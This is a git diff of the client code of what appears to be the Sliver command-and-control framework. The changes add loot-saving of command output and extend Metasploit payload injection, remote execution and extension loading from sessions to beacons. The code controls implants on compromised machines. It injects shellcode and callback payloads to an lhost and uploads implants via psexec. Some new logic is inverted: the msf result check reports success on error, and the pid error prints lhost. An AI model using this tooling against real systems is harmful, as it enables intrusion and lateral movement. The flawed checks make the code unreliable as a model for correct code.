f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2088,6 +2188,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Bool("F", "force", false, "force killing of the beacon")
f.String("f", "filter", "", "filter beacons by substring")
f.String("e", "filter-re", "", "filter beacons by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.GenericHelpGroup,
@@ -2671,7 +2775,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
f.Uint64("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2757,7 +2861,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Add a remote file from the current session to the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
Args: func(a *grumble.Args) {
a.String("path", "The local file path to the loot")
a.String("path", "The file path on the remote host to the loot")
},
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of this piece of loot")
+14 -39
View File
@@ -20,13 +20,10 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -61,13 +58,16 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
@@ -80,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +88,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+5 -5
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
var oldState *term.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
+128 -18
View File
@@ -18,7 +18,11 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -41,6 +45,12 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -56,7 +66,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -65,7 +75,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -84,22 +94,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
@@ -111,17 +141,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
con.PrintInfof("Output:\n%s", string(exec.Stdout))
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -131,13 +158,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+23 -6
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+29 -6
View File
@@ -25,14 +25,15 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
+1 -1
View File
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+12 -20
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -70,7 +69,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +77,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+12 -21
View File
@@ -4,8 +4,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+75 -62
View File
@@ -31,6 +31,7 @@ import (
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
@@ -38,11 +39,13 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
@@ -56,6 +59,7 @@ type ExtensionManifest struct {
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
@@ -113,7 +117,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// ParseExtensions - Parse extension files
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
@@ -169,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -178,11 +183,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
// f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
if 0 < len(extCmd.Arguments) {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -190,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
case "int", "integer", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -212,27 +220,26 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("List extensions error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
@@ -248,7 +255,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
return errLoad
}
}
@@ -258,31 +265,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: session.OS,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
@@ -295,10 +288,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := loadedExtensions[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
@@ -306,23 +299,31 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
if err != nil {
return err
}
return registerExtension(con, depExt, depBinData, session, ctx)
return registerExtension(goos, depExt, depBinData, ctx, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
@@ -330,23 +331,15 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if err = loadExtension(ctx, session, con, ext); err != nil {
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
}
@@ -361,7 +354,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("BOF args error: %s\n", err)
return
}
extName = ext.DependsOn
@@ -373,10 +366,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
@@ -385,22 +379,39 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("Call extension error: %s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
